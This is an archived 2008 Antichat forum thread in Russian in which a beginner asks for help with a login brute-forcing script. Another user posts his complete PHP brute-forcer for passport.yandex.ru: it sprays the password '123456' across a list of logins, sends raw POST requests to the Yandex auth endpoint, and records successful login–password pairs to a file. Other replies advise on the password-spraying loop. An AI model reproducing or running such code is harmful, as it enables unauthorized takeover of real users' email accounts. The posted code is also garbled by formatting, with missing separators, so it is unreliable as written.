Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Помогите найти ошибку... (https://forum.antichat.xyz/showthread.php?t=66074)

A_V 31.03.2008 22:27

Все понял, можете закрывать :)
 
СПАСИБО ВСЕМ!
Остался один вопрос, но его задам в прикрепленной теме ;) всем сенкс !
Плюсики щас дам :)

biophreak 31.03.2008 23:11

А ты вообще файл с пассами открываешь? :)))
Чтобы один пасс подбирать - имхо получаешь его в переменную, и в цикле по логинам прогоняешь этот пасс...

A_V 01.04.2008 14:50

Обновил немного код... и мои вопросы...

ZET36 01.04.2008 16:40

Цитата:

Сообщение от A_V
Вот написал первый скрип в своей жизни
Так что сильно не бить
Как сделать чтобы ко всем логинам перебирался один пароль?
Правильно ли сделан механизм входа ?
Правильно работает запись в bad/good ?
Если не сложно помогите начинающему...

в лом пересматривать код , можеш посмотреть на примере моего брутера для yandex.ru
PHP код:



<?php
$parol
="123456"

$loginsfile "login.txt"
for (
$doscriot=0;$doscriot<=count($contents);$doscriot++) 
{
$loginsfile "login.txt";

$handle fopen($loginsfile,"r");
$contents fread($handle,filesize($loginsfile));
fclose($handle);
$contents explode("\n",$contents);
$loginsss=trim($contents[$doscriot]);


$hostname "passport.yandex.ru"
$path "/passport"
$line "";


$fp fsockopen($hostname80$errno$errstr30); 

if (!
$fp) echo "$errstr ($errno)<br />\n"
else
{

$data "mode=auth&login=".$loginsss."&passwd=".$parol."&retpath=http://mail.yandex.ru\r\n\r\n"

$headers "POST $path HTTP/1.1\r\n"
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";

fwrite($fp$headers.$data); 
while (!
feof($fp)) 
{
$line .= fgets($fp1024);
}
fclose($fp);
}

if(
$line[9]=="3")
{

$zergood 'good.txt';
$somecontent " у  пароля ".$parol." логин ".$loginsss;


if (
is_writable($zergood)) {


    if (!
$udacha fopen($zergood'a')) {
         echo 
"Не могу открыть файл ($zergood)";
         exit;
    }


    if (
fwrite($udacha$somecontent) === FALSE) {
        echo 
"Не могу произвести запись в файл ($zergood)";
        exit;
    }
    
    echo 
"Ура! сбручено ($somecontent) и записано в файл ($zergood)";
    
    
fclose($udacha);

} else {
    echo 
"Файл $zergood недоступен для записи";
}

}

}


?>


nc.STRIEM 01.04.2008 16:45

чтот я тут ничего не понял!
$login = 'login.txt'
....
if(!$login->connect($login, $_POST['pass']))
....
if($login->is_connected())
{
$login->disconnect();
}

это ваше откуда?

ZET36 01.04.2008 16:48

Цитата:

Сообщение от nc.STRIEM
чтот я тут ничего не понял!
$login = 'login.txt'
....
if(!$login->connect($login, $_POST['pass']))
....
if($login->is_connected())
{
$login->disconnect();
}

это ваше откуда?

из перла :D

Doom123 01.04.2008 18:09

A_V Слух или ты забыл класс для работы с файлами инклюдить или ты просто скопировал часть кода из чюжого скрипта....

я про это

PHP код:

$login 'login.txt' 
....
if(!
$login->connect($login$_POST['pass'])) 
....
if(
$login->is_connected())
{
$login->disconnect();



A_V 01.04.2008 19:46

да скопировал, сам еще не очень раздупляю...
zet36 спасибо! Буду учиться...
И вообще всем спасибо :)


Время: 15:13